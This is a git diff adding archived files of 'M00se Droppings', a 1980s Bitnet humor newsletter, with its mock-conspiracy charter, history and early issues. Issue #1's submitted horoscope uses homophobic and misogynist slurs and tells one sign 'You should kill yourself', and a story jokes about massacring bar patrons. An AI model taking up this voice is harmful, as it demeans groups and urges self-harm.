horrorscope section of this issue + the horrorscope for Sagittarius was conspicuously absent. + + Answer: + The half-moose/half-man is an abomination. Please do not remind us of + it in the future. Bleech. Some mooses will sleep with anything. + + + From: SYSTEM@DRUNIVAC + Ok, who is the idiot who created all those animal accounts on ALPHA and + BETA? Speak up or you'll all be chopped at the head and hung up on my + wall. This is an academic system, not a toy. + + Answer: + Phthththth. (User deleted.) + + + From: V291NHTP@UBVMS (Pat Salsbury, DangerM00se) + You're a looney! :) (Not that tha's a bad thing, mind you!) + SO! Competition, eh? Harrumph! + I wonder if I'll have to think about that.... + Feh. My brain is starting to hurt. + See ya! + + Answer: + I actually prefer to be called warped and twisted. Competition? We + don't look at it that way. Besides, when did illuminati ever have + competition? + + + From: DICKSON@HARTFORD (Bill Dickson) + Just what the net needs! An *alternate* m00se magazine! May you spread + it far and wide, and may it bring fame and increased circulation to both + the M00se Illuminati and its first magazine. May all m00ses grow + together! + + Answer: + Sure, we'll help you and the others out, but do you really want _our_ + help?? That mooses growing together sounds sick to us. Don't they get + tangled? + +------------------------------------------------------------------------------ +Asian mooses seek wealthy Americans for potential divorce settlements. +Send photo and SASE for details. +------------------------------------------------------------------------------ + + Mooses for a Better America + by Mike Oose (their poster boy) + +In recent moose-type news here at Drew University (the University in the +rapidly dwindling forest), a conference was held by some big-shot speaker on +the enigma of death. Being among the first to catch onto the "death-thing" +in modern conferences, we introduced the Angel of Death at our own conference +called "Experiencing the Enigma of Death" and made a killing so to speak. We +plan to put this show on the road later this year, so it may be at a school +near you sometime. You'll know when the telltale solid black posters start +appearing (and by the blood smeared on your neighbor's door)... We also hope +to have our "Mooses' Guide to the Afterlife" available sometime in March. I +myself have had an offer from a movie company to make the "Angel of Death" +movie followed shortly by the soundtrack and action figures. For a condensed +version of this sequence of death-related events, read this message backwards +at full speed and one of our representatives will tell you where to go. + +------------------------------------------------------------------------------ +Yo! Mooses don't Rap. Mooses prefer to sing. It's just not all that good. +------------------------------------------------------------------------------ + + Travis and Phyllis, The Trashy Saga Continues... + by Mike Oose +Chapter 3 + + Travis and Phyllis found themselves in the airport lobby after having +been escorted off the plane from Tahiti, with a warning to control themselves +better next time. Travis whispered huskily in Phyllis' ear, "Around you I +could never control myself." All of a sudden, Phyllis remembered that she +had left her passport in her luggage and so couldn't go through Customs. + "Ohh, Travis," she breathed, "we'll just have to go back." While their +escort was ogling a stewardess, the two lovers ducked out of the terminal. +While they thought no one was looking, they leapt onto the luggage bus that +was just departing from their plane. Sifting through the luggage, they +found Phyllis' matched hot pink set. Opening the largest suitcase, Travis +spied a piece of lingerie. + "Oh, Phyllis, remember when you wore this?" Their eyes locked, their +passion inflamed. + "Oh, Travis, I think we're going to disobey the airline officials." +she sighed. They were too involved in their renewed discovery of one another +that they didn't notice that the bus had ground to a halt. + Two gorilla-like beings started to throw luggage onto the conveyor +belt, and all unknowingly tossed the entwined lovers on with the rest of the +baggage. Phyllis landed first with a >whump<, cushioning Travis' fall. The +conveyor belt, groaning with the strain, brought them up and into the main +terminal of the airport. + While some passersby gawked, a polite man named Cullen graciously +removed his jacket and placed it over their sweaty, heaving bodies. They +paid no notice, however, and continued... + + +------------------------------------------------------------------------------ +Coded message follows: htaed sih dekaf elkniwllub +------------------------------------------------------------------------------ + + News from the Field + + ANCHORAGE, Alaska (MPI) -- Deep snow, high winds, volcanic ash, crazy +temperatures and pissed-off mooses combine to make Saturday's start of the +1,158-mile Anchorage-to-Gnome Idiotarod Sled Dog Race the most challenging +ever for the 70 men and mooses and 1,200 dogs competing in the adventure. + + "The guys are saying this might be the most challenging ever are probably +right," said Montana Oose, the race's only four-time winner. + + Some of the deepest snow in decades has forced moose into the contest. The +huge lumbering antlered animals, trying to avoid energy-sapping walks through +10-foot snow, have made a surprise entrance in this year's contest. "Hey, we +can make a few bucks too," chortles one moose. + + This winter moose have attacked people walking down their driveways +to get their mail, stomped sled dogs on Idiotarod training runs and even +charged Alaska Railroad engines trying to reclaim the tracks. "We play to +win," the mooses say in defense of their actions. + + Veteran musher Jerry Ackle, who said "the competition makes this +the worst year in the history of the Idiotarod," is packing a semi-automatic +AR-15 for protection. Ackle's encounter with the moose was one of two in the +race. He shot and killed a moose Monday after it tried to stomp the team +run by Beatrice Eaver. He was later surrounded by a bunch of mooses and +was drooled on until he drowned/froze. + +------------------------------------------------------------------------------ +Was it a momentary lapse of reason, or the first step on the road to recovery? +------------------------------------------------------------------------------ + + Mike Oose's Country Chartbusters (AroooOOOooooo-ee!) + Compiled by Michele Oose + +10. Bird Nest in My Antlers - Grampa Harappa's Jamboree Band + 9. My Dog Died - The Antler Brothers + 8. Discordian Mooses' Illuminated Square Dance - Moose in the Pyramid + 7. Forever and Ever Arooooooo - Travis and Phyllis + 6. I Love A Drooly Night - Eddie Rabbit + 5. Always In My Fur - Nelson Riddle and his Foot-Stomping Orchestra + 4. Those Truck-Chasin' Blues - The Head-On-The-Wall Gang + 3. My Wife's Run Off, and She's Taken My Mind - Moosey Waters + 2. Tip Cows, Don't Love 'Em - Karl Kam00se + 1. I'm So Blue, I Could Drool All Over You - Traditional + +------------------------------------------------------------------------------ +Here we are at Drew University, where we have secretly replaced the +administration with Weeble replicas. Let's see how long it takes those +annoyingly politically active students to make some banners slandering +harmless Weebles just so they can get in the newspaper and look like fools. +------------------------------------------------------------------------------ + + How To Be A Moose (Part II) + by Manny Oose + +9. DO eat like a moose. Always manage to get at least half of what you're + eating on the floor. Potato chips are a valid substitute for line printer + paper. + +10. DO sleep with your mouth open, so that your noxious moose-breath will + fill the room and destroy any insects that might attempt to eat your food. + +11. DO stay away from cows. They can ruin a moose's good reputation. + +------------------------------------------------------------------------------ + +This is the end. Our computer doesn't seem to be willing to cooperate with +us on this, so I will make this closing brief. + +Sometimes mooses have problems with their teeth. So you can take them to the +dentist. You must also try not to step on mooses, because it hurts them. + +So, until the next issue... beware of giant hedgehogs. + + Mike Oose, your loyal and devoted public nuisance. + +------------------------------------------------------------------------------ + T H E E N D +------------------------------------------------------------------------------ diff --git a/textfiles.com/magazines/M00SE/m00se.cha b/textfiles.com/magazines/M00SE/m00se.cha new file mode 100644 index 00000000..7445bcf4 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se.cha @@ -0,0 +1,101 @@ + OFFICIAL CHARTER OF THE M00SE ILLUMINATI + + + 1) CHAPTERS: Each and every member of the M00se Illuminati is his or her own + chapter. He or she is also the Bull M00se (spiritual leader), Grand Poobah + (political leader), and treasurer (money-handler) of his own chapter. + Therefore, a chapter could be listed as such: + + + THE BILL DICKSON CHAPTER OF THE M00SE ILLUMINATI + + Bull M00se: William R. Dickson + 261 Newt Road + Aberdeen, CT 06011 + (223) 699-1545 + + Grand Poobah: Billy Dickson + 261 Newt Road + Aberdeen, CT 06011 + (223) 699-1545 + + Treasurer: Bill Dickson + 261 Newt Road + Aberdeen, CT 06011 + (223) 699-1545 + + + 2) THRONGS: Any group of two or more chapters gathered together in one place + is a throng. The more chapters, the bigger the throng. + + 3) SYMBOL: The symbol is a four-sided, eleven-step pyramid with an eye in + the top step and a three-pronged antler on either side. It once was + thought impossible to draw with text characters, but a case of extreme + boredom one day was cured by the invention of a text-character symbol. + + /\ + ___ / \ ___ + / \ __ / \ __ / \ + | \ / \ _ / <()> \ _ / \ / | + | \_/ \_/ \_/________\_/ \_/ \_/ | + \_________________/__I___I___\_________________/ This smaller version + /_I___I___I__\ is used when time or + /I___I___I___I_\ space is short. + /___I___I___I___I\ + /__I___I___I___I___\ _ /\ _ + /_I___I___I___I___I__\ / \_/\_/ \_/\_/ \ + /I___I___I___I___I___I_\ \_____/ () \_____/ + /___I___I___I___I___I___I\ / \ + /__I___I___I___I___I___I___\ / \__/ \ + /_I___I___I___I___I___I___I__\ /__________\ + + + + 4) SECRET M00SE SIGN: Thumbs to side of head, fingers outstretched to simulate + antlers. Usually accompanied by the Secret M00se Call. + + + 5) SECRET M00SE CALL: BL00P! (Taken from Bloom County.) + + + 6) PURPOSE: To confuse, obfuscate, bewilder, and befuddle the masses. + + + 7) POLITICAL AFFILIATIONS: Varies according to the chapter. The M00se + Illuminati as a whole will support any chapter's beliefs. Thus, the M00se + Illuminati may, at any given time, be supporting any number of contra- + dicting philosophies. + + + 8) NEW MEMBERS: Any chapter can dub new members so long as it uses a silly, + meaningless ceremony that is made up on the spot to do so. It would be + very nice if the Bill Dickson chapter (DICKSON@HARTFORD.BITNET) were + notified so it could record the new member/chapter. This will allow the + Bill Dickson chapter to send all chapters any new information. + + + 9) SECRET NUMBERS: The secret numbers of the M00se Illuminati are 11 (the + number of steps in the pyramid) and 13 (11 + two antlers). Be on the + lookout for these numbers, as they may hold some significance. Also watch + out for 31 (13 transposed) and 11 (11 transposed). + + +10) PLURAL: The plural of M00se is M00ses--NOT M00se, moosies, moosi, moosei, + moostachios, or Bim Skala Bim. + + +11) SLASHED 'O's: The 'O's in M00se, Bloop, and all other EXTREMELY m00sey + words are slashed: 0. This apparently originated in the opening credits of + Monty Python and the Holy Grail. Unfortunately, it is impossible to do + this with the lower-case on a computer. In fact, it is now difficult to do + it with the upper-case, as most computers no longer have slashed zeros. We + use the zero where we would want a slashed 'o' anyway, to remind us that we + are making an attempt. Please draw the slashes in if you print a hardcopy. + + +12) FLEXIBLE RULES: Any of the rules may be changed except for numbers 1, 3, + 4, 5, 10, and 11. If you attempt to change a rule in such a way as to + create a paradox, remember that m00ses don't care about paradox. + + +13) ALWAYS REMEMBER: Bloop! Bloop bloop? BL00P! Bloop? BL0000000P! diff --git a/textfiles.com/magazines/M00SE/m00se.his b/textfiles.com/magazines/M00SE/m00se.his new file mode 100644 index 00000000..57b030fc --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se.his @@ -0,0 +1,106 @@ + THE OFFICIAL HISTORY OF THE M00SE ILLUMINATI + (Updated July 12, 1990) + + + ORIGINS + + In South Windsor High School, located in the suburban hell of South +Windsor, Connecticut, in the school year of 1983-84, a junior named Christopher +S. Phillips was greatly interested in m00ses. He believed that m00ses are not +only some of the most peaceful animals in existence, but also far more +intelligent than they are generally given credit for. + Coincidentally -- or perhaps not -- a sophomore, William R. Dickson, had +just finished reading the _Illuminatus!_ trilogy by Robert Shea and Robert +Anton Wilson. Greatly intrigued by the idea of secret conspiracies controlling +the world, he talked about it constantly. + Then, one day during a particularly dull geometry class, another junior +named David s Tarr told Chris and Bill that it could be interesting to form a +conspiracy whose goal would be to confuse the public by strange but relatively +peaceful means. It could be called the M00se Illuminati. + Putting their heads together, they worked out the hypothetical details. A +symbol was invented, secret mystical synchronicity numbers were agreed upon, a +secret signal was worked out, and a secret call was stolen from a comic strip. + Suddenly, without warning, they were confronted by a senior, Mike Harm. +He showed them a design he had worked out for a M00se Illuminati shirt. With a +few modifications he was ready to mass-produce the shirts. Due to the creative +efforts of this odd fellow, the M00se Illuminati had finally become a reality. + Bill, Chris, Dave and Mike were joined by several of their friends, and +soon after came the fateful day when the secret conspiracy revealed itself to +the poor, sheep-like occupants of South Windsor High. It didn't take long for +the established system to crumble, to be replaced by the sleek, modern power of +the M00se Illuminati. A small rebellious group was formed, but it was ignored, +and consequently short-lived. + + + REFORMATIONS + + The first reformation of the M00se Illuminati occured in 1985, when the +charter was transferred from a TI-99 word processor (printing on a silver +scroll about 2" wide) to a $20,000 typesetting machine at the high school. A +new shirt design was designed and produced. + By the end of 1986, the M00se Illuminati had grown to a world-wide +organization, with chapters in Norway, Japan, and Germany. By mid-1987, it had +expanded still further, with a large throng at the University of Connecticut, a +smaller one at the University of Hartford, and individual chapters scattered +throughout the world. + The organization fell into hard times then, slumping as members were +scattered too thinly to maintain meaningful contact between each other. The +"real world" pressed close; many chapters were now too busy to continue their +work of furthering the causes and expansion of the M00se Illuminati. It began +to look as if only a major discovery, or a miracle brought about by Leviam00se +itself, could save the M00se Illuminati. + The discovery was made, and the second reformation began. + William Dickson, one of the original founders, was finally a freshman in +college. By pure coincidence -- or perhaps not -- he was introduced to Bitnet, +the intercollegiate computer network. + The second reformation of the group came to pass then, when Bill send the +information file of the M00se Illuminati to the Stony Brook Underground, a +listserv list dedicated to the expansion of human knowledge. The information +file suddenly seemed to have a life of its own; it found its way to every +corner of the Net, and responses flooded in. The organization was suddenly +much larger, consisting of approximately 50 chapters by the end of a month. + In early 1988, this expansion triggered a negative response. Suddenly, +without warning, a copy of the charter fell into the hands of the Grand +People's Fascist Monarchy of Nebutu, also knows as "the Martins." A massive +power struggle ensued, lasting for at least a fortnight. The M00se Illuminati +was, of course, victorious, but in the interest of furthering confusion in the +world, the Martins were allowed to maintain the self-delusion that they had +won. + The third reformation began June 1, 1988, when the Bill Dickson chapter +started work on what was to become a (fairly) regular electronic newsletter: +"M00SE DROPPINGS: A-M00se-ing Anecdotes and Illumination By and For the Pawns +of the M00se Illuminati." Once again, the size of the group increased +dramatically, reaching 100 Bitnet chapters by mid-December. + In January 1989, the Bill Dickson chapter became unable to fulfill his +duties as editor of "M00se Droppings." Two exemplary m00ses from Central +Connecticut State University stepped in and took over at issue #21. + In October 1989, Goblin and Salmon M00se, who were extremely busy, turned +the editorship over to the Buffalo thr0ng, at the Bill Dickson chapter's +suggestion. Pat Salsbury, AKA Warm00se, took over as chief editor at issue +#30. + + + THE PRESENT + + The M00se Illuminati is currently in the midst of its fourth reformation. +In response to an increasing level of fascism on the part of the United States +government, the Bill Dickson chapter became morally outraged. The Buffalo +thr0ng was in a slump, so Bill took the reins of "M00se Droppings" back in hand +with issue #41. He is attempting to introduce a political level to the group, +without compromising the oddness, integrity, and (of course) intrigue that it +originally possessed. + Two major current projects are the establishment of contact with the +hundreds of m00ses who do not have access to computer networks, and plans for a +paper, snail-mail version of "M00se Droppings." Coupled with several minor +projects, such as a M00se Illuminati dictionary and an official M00se +Illuminati standardized system of measurement, the M00se Illuminati is +experiencing a new period of vitality. Even with a major falloff in the number +of cyberm00ses (due to summer vacation and graduations), we have over 170 +chapters on the Net, with several more being added every day. This is truly a +new renaissance for the M00se Illuminati, indicative of our ever-increasing +power over the workings of the world. + You now know our history and our present -- our future will be more +glorious still. + + + Pickle diff --git a/textfiles.com/magazines/M00SE/m00se.inf b/textfiles.com/magazines/M00SE/m00se.inf new file mode 100644 index 00000000..12cedf6f --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se.inf @@ -0,0 +1,83 @@ + INFORMATION ON VARIOUS M00SE ILLUMINATI SUBDIVISIONS + + +1) THE SOUTH WINDSOR AUTODUELLISTS OF THE M00SE ILLUMINATI + + SWAMI was formed to keep the streets clear of dangerous drunk drivers, +idiots, Yugos, orange trucks, the guy who, suddenly and without warning, turns +left in front of you when you have the right of way, and other things that +could in any way interfere with the pleasure of any m00se's driving. SWAMI +units are not above the hijacking and looting of ice cream trucks. The +vehicles of individual SWAMI units are vastly different from one another, +excluding one thing -- all are heavily armed and armored, and all are driven by +highly proficient autoduellists. + + +2) THE SECRET M00SE SERVICE + + The S.M.S. was formed in 1986 by a man whose real name cannot be printed, +for obvious reasons. He may only be referred to as 'Chip'. The S.M.S. was +formed to protect m00ses from the subversive influences of various rival +groups, especially the Ancient and Powerful Illuminati of Bavaria. Enemy +agents are usually tickled and forced to eat pickled herring by our torture +expert, one Opus P. Bell. The S.M.S. naturally uses covert means to reach the +ends it desires, occasionally calling in SWAMI units for military-type +operations. All m00ses can rejoice in their new-found freedom from worry now +that the Secret M00se Service is protecting them. + + +3) CHAOS ENGINEERING + +MII 321 CHAOS Engineering + + MII 321 offers a comprehensive study in CHAOS Engineering. There are no +technical prerequisites as such, but a comprehensive background in sarcasm, +subordination, obfustication, and random behaviour patterns are highly +recommended. Students will learn various methods of non-violent actions +designed to be counter-productive to the machinations of any sort of +administration, large or small. Such methods will include back talk, petition +drives, subversive paper work (see also MII 274 Forms Substitution for Maximum +Disruptive Effect), and malicious sign posting. Non-lethal weaponry will be +briefly discussed, and covered in depth in the course's continuation, MII 322. + +MII 322 Advanced CHAOS Engineering: Use of Non-Lethal Weaponry + + MII 322 picks up where MII 321 left off, and covers extensively the use of +such Non-Lethal Weapons such as water guns, water grenades, powder bombs, +shaving cream, and, for extreme cases, splat-ball guns. There is a $75 lab fee. + + + + + THE OFFICIAL M00SE ILLUMINATI SUGGESTIVE SOURCE MATERIALS LIST + + Subsection One: Books + +Anything by Dave Barry +Bloom County books --by Berke Breathed +Bruce's Loose Tooth --by Eileen Landay +Hitchhiker's Trilogy, the --by Douglas Adams (all possible versions) +Illuminatus! --by Robert Shea and Robert Anton Wilson +POLITICS@UCF1VM (send this command to LISTSERV@UCF1VM: SUB POLITICS Your Name) +Superguy Digest (send this command to UMNEWS@MAINE: BBOARD SUBSCRIBE SUPERGUY) +Various poems by Chris Phillips, in particular Ode To Stuff + + + Subsection Two: Audio-Visual Media + +Any Charlie Brown movie --by Charles Shultz +Any movie --by Monty Python +Brazil --by Terry Gilliam +Garden of the Gods --by Sandstone, Wind Erosion, and Millions of Years + + + Subsection Three: Role-Playing and Other Games + +Illuminati --by Steve Jackson Games +Toon --by Steve Jackson Games + + + If you have anything to add to this Official Information File, like a new +subdivision or new suggested something, send it to Bill Dickson at: + + DICKSON@HARTFORD.BITNET diff --git a/textfiles.com/magazines/M00SE/m00se.rev b/textfiles.com/magazines/M00SE/m00se.rev new file mode 100644 index 00000000..92784490 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se.rev @@ -0,0 +1,32 @@ +Date: Not much +From: Bill Dickson +Subject: A bl00p from the grave +To: Penguin Opus + +Hi all. I'm still alive, more or less, and living in Ithaca. I'm working +slowly on a M00se revival, but it'll take work. + +But that's not what I'm writing about now. I'm writing about four things. + +1) If anybody has the most recent version of the M00se files (three separate +files), please send them to me. They disappeared in my travels. + +2) I'm working on a big petition to get Dave Barry's name on the 1992 +presidential ballot. I'm also going to send him a m00se shirt and a copy of +the charter. If any of you can possibly spare the time, I'd love it if you'd +snail-mail your signatures to: Bill Dickson, 102 N. Tioga 4th floor, Ithaca, +NY 14580. + +3) Again, I am looking for an editor to revive M00se Droppings. Judging from +past experience, this person should be: A college student, with some free +time, with unlimited time on the campus computer system ($50 funny money/week +just won't do the trick), and who can extract submissions from people with +decent regularity. + +4) Just trying to find out who's still out there! + +Bl00p, + +Bill Pickle M00se. + + diff --git a/textfiles.com/magazines/M00SE/m00se01 b/textfiles.com/magazines/M00SE/m00se01 new file mode 100644 index 00000000..3dd9813d --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se01 @@ -0,0 +1,210 @@ + + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #1 | Disclaimer: The Editor will place almost anything | June 17, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ---------------------- + EDITORIALS AND LETTERS + ---------------------- + +EDITORIAL: By Pickle + + Well, here it is. The first issue of M00se Droppings: A-M00se-ing +Anecdotes and Illumination By and For the Pawns of the M00se Illuminati. +(Big inhale....long, slow, bl00ping exhale.) With this innovation we move +one step closer to confusing the entire world. Just think -- even now, +the FBI may be opening a file on you. "John Doe, June 17, 1988, began +receiving literature from a possibly subversive organization...." I don't +know about you, but in five years, I'm going to write and ask for a copy +of mine. I understand they have to give it to you, but they can black out +anything they don't want you to know with a magic marker. + For a sudden change of topic, the newsletter distribution may be changing +soon. This first copy is being sent from me directly to everybody on the +list. However, as the list expands, Bitnet may start complaining seriously +every time I send an issue. What I'd like to do is send an issue to one +m00se at each node, who would then be responsible for sending it on to all +the rest of the m00ses at that node. This will be most beneficial with +the expansion of the Governor's School chapter to a thr0ng of about 150 +chapters, something due to occur in several days. Please let me know if +this is satisfactory to everyone. + Now, the newsletter itself. It will be divided up into sections, the +first being editorials (like this one), and letters from anybody to all +the m00ses. Send important news, and letters, to me with 'Editorials' +somewhere in the Subject of the letter. + The second section will be for non-fiction accounts or announcements +of m00se events: Party invitations, reports on how parties went, reports +on projects for the promotion of confusion, whatever. Send any mail for +this section with 'Events' somewhere in the subject. + The third section will be for fiction and poetry. I'd prefer original +stuff, and I'm not copywriting it or anything, it that's important. If +there's something non-original that you think is really great and want to +post, send it along. Whenever possible, list the author with it. Send +mail for this section with 'Fiction' somewhere in the subject. + The fourth section will be for miscellaneous nonsense. For example, the +perhaps slightly tasteless horoscope in this issue. Send anything that doesn't +seem to fit into the other three sections to this one, with 'Nonsense' in the +subject. + The last part of each newsletter will be an updated list of all those +m00ses who want to be on the general list, assuming there are any more. + One last thing before I go and leave you to the rest of the newsletter. +In the rush of adding new chapters to the list, I may have added people +without sending them M00se.Info, the basic file. If you receive this issue, +and you do not have a copy of the file, let me know and I'll send you one. + Well, that's all from me for now. On with issue 1, and the first +submission ever received for M00se Droppings! + + + --------------- + EVENTS AND NEWS + --------------- + + (Submitted by Sabre) + + There is now a public csnews forum created by fellow m00se +RainMaker called m00se csnotice! This is open to anyone with bitnet +access and can be subscribed to by the simple sending of the following +message to csnews@maine: + csbb subscribe m00se csnotice. + Please send this info out to any and all m00ses, and you may +just have your job with m00se droppings made that much easier. + Bl00p! Sabre! + + + + ------------------ + FICTION AND POETRY + ------------------ + + +0de to M00seNess +--- -- --------- + +OH! to be a m00se, +not an ordinary moose, +but an extraordinary m00se! +Spreading confusion through +peaceful means, I roam the streets, +bl00ping softly to myself as I peer +into the gloom of the average lifestyle, +pitying the trapped souls of those who +know not deliverance - the deliverance +of the m00se illuminatus, and the +Illuminati with which I thr0ng! + +bl00p I say, and bl00p again! +bl00p bl00p bl00p BL00P! +In my peaceful eyes confusion reigns, +yet I shall not drown, for in confusion +I find peace, tranquility, harmony... +and in my pocket I find a fully-inflatable +four-man (or m00se) raft to keep me above the currents. +And now, my m00se stomach tells me it is time to graze, +so graze I must, until *munch* *munch* *munch*............. + +*burp* + +co. Frank 0rzech0wicz, Villan0va Thr0ng, June 13, 1988 + +-------------------- + + (Submitted by Lord Rassilon) + +If you're an Illuminatus, El M00se won't hassle you. That's +his calling. + + + El M00se, Illuminati agent extra-ordinare, was on his sixth +absinthe when he finally got tired of tolerating the plebian +banter which was indigenous to his locale. He ground out his +Marlboro on his left wrist and rose, unslinging his Uzi. He +squeezed off a couple hundred rounds, leisurely wiping out the +bar's blue-collar patrons. The bartender tried to nab him from +behind, but El M00se cut him into two pieces with precise bursts. +Re-shouldering his weapon, he sighed and strode from the premises. +Hhhmmm, he thought, my boss will have to pay the cops a pile +of money when he discovers I wasted a barful of proletarians. + + + ---------------------- + MISCELLANEOUS NONSENSE + ---------------------- + + + * * * YOUR STAR SIGN HOROSCOPE * * * + + (Submitted by Lord Rassilon) + +------------------------------------------------------------------------------- +ARIES (Mar 21-Apr 19) You are the pioneer type and hold most people in +contempt. You are quick-tempered, impatient, and scornful of advice. You are +a prick. +------------------------------------------------------------------------------- +TAURUS (Apr 20-May 20) You are practical and persistent. You have dogged +determination and work like hell. Most people think you are stubborn and +bull-headed. You are nothing but a goddamn communist. +------------------------------------------------------------------------------- +GEMINI (May 21-Jun 20) You are quick and intelligent and a thinker. People +like you because you are bisexual. However, you are inclined to expect too +much for too little. This means you are a cheap bastard. Geminis are liars, +notoriusly bad lovers, and thrive on incest. +------------------------------------------------------------------------------- +CANCER (Jun 21-Jul 22) You are sympathetic and understanding to other people's +problems. They think you are a sucker. You are always putting things off. +That's why you will always be on welfare and won't be worth a shit. +------------------------------------------------------------------------------- +LEO (Jul 23-Aug 22) You consider yourself a born leader. Others think you are +pushy. Most Leo's are bullies. You are vain and cannot tolerate honest +criticism. Your arrogance is disgusting. Leo people are thieving bastards and +kiss mirrors a lot. +------------------------------------------------------------------------------- +VIRGO (Aug 23-Sep 22) You are the logical type and hate disorder. This +shit-picking is sickening your friends. You are cold and unemotional and often +fall asleep while screwing. Virgos make good bus drivers and pimps. +------------------------------------------------------------------------------- +LIBRA (Sep 23-Oct 22) You are the artistic type and have a difficult time with +reality. If you are male, you are probably queer. Chances for employment and +monetary gain are excellent. Most Libra women are whores. All Libra's die of +venereal disease. +------------------------------------------------------------------------------- +SCORPIO (Oct 23-Nov 21) You are shrewd in business and cannot be trusted. You +shall achieve the pinnacle of success because of your total lack of ethics. +You are a perfect son-of-a-bitch. Most Scorpio people are murderers. +------------------------------------------------------------------------------- +SAGITTARIUS (Nov 22-Dec 21) You are optimistic and enthusiastic. You have a +reckless tendency to rely on luck since you have no talent. The majority of +Sagittarians are drunks and potheads. People laugh at you a lot because you +are always getting fucked. +------------------------------------------------------------------------------- +CAPRICORN (Dec 22-Jan 19) You are conservative and afraid of taking risks. You +are basically a chickenshit. There has never been a Capricorn of any +importance. You should kill yourself. +------------------------------------------------------------------------------- +AQUARIUS (Jan 20-Feb 19) You have an inventive mind and are inclined to be +progressive. On the other hand, you are inclined to be careless and +impractical. Everyone thinks you are a fucking jerk. +------------------------------------------------------------------------------- +PISCES (Feb 20-Mar 20) You have a vivid imagination and often think you are +being followed by the FBI or CIA. You have minor influence over your friends +and people resent you flaunting your power. You lack confidence and are +generally a coward. Pisces people screw small animals and pick their noses. +------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se02 b/textfiles.com/magazines/M00SE/m00se02 new file mode 100644 index 00000000..c71baf23 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se02 @@ -0,0 +1,169 @@ + + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #2 | Disclaimer: The Editor will place almost anything | June 24, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ---------------------- + EDITORIALS AND LETTERS + ---------------------- + +Editorial from Pickle: + + Hi m00ses! Here we have issue two, which is not very large. If +you would all make submissions it would be larger (obviously). So let's +have those stories, party announcements, subversive plans, etc! + As promised, in this issue we will discuss the distribution of the +newsletter. A couple of ideas have been suggested, and they follow: + + +Letter from Kamikaze: + +>Pickle: +> +>Hi there big kahuna! +> +>Got another thought for you to cut down on the number of copies sent. With +>the relatively low number of nodes you have now, maybe what you might want to +>do is have distribution sites, rather than just nodes. In other words, set +>things up something similar to the LISTSERV's that are all over the place. +>For example, you could send a copy to me, and then I would send to all others +>at the Villanova thr0ng, as well as the Haverford thr0ng, and the Bryn Mawr +>chapter, all of which are rather close to my node. In this way, we could +>expand (as we know we will) in the number of nodes we are gathering at, without +>increasing the number of copies you yourself send out. Once we start getting +>large enough, we can incorporate the one-receiver-per-site idea as well, so +>that I, as the, um, let's call it the Mid-East-Coast-and-any-parts-South +>distributer, would send to one person at the Haverford thr0ng, and let him/her +>get it to all the others there. Sound good? Let me know, I'd be happy to +>invest the time in deciphering the Bitnet mappings to figure out the best +>Bitnet-geographic places for distribution sites. +> +>Kamikaze/Rick + + + And another from Sabre: + +> Dear m00ses, +> If a simple bull m00se may make a suggestion...why don't we +>simply have all the m00ses subscribe to m00se csnotice? I'm +>already posting the m00se droppings issues as fast as they come in +>here...if everyone subscribes to m00se csnotice, Great Herd Leader +>Pickle will only have to send each issue of m00se droppings to +>the csnews facility, and then all us m00ses can bl00p with +>delight as it is hand delivered by csnews to our own e-mail boxes. +>Furthermore, csnews will send it flat, in a protective brown +>wrapper...and if you subscribe now, you'll also recieve, at no +>extra charge, the Csnews useguide! Put it proudly next to your +>relay useguide and the notices from your cs deparetment! +> Also, consider the advantages to regestration with Csnews... +>after all, once there, you can sign up for any number of discussions-- +>informative info on Comic books, Startrek, SCA, Audio Equipment, +>Computers, and so on.... +> For those of you who like to read stories...well, there's Sfstory, +>a little ditty I cowrite. It's a very M00selike story, and once even +>included a talking m00se! +> bl00p forever, +> Sabrem00se + + +I think it would be easiest if we all subscribed to CSNEWS. Then comes +a big question, though: Do you want to continue to send me submissions, +and I'll compile M00se Droppings and post it to CSNEWS (thus using it merely +as a distribution method) or should we drop the newsletter format, and just +have everybody post to CSNEWS (thus using it as a listserv of sorts). Let +me know what you think. I suppose we could do both, posting to CSNEWS for +casual banter, and I'll compile fiction and things into M00se Droppings. + Tell me what you think ASAP, and 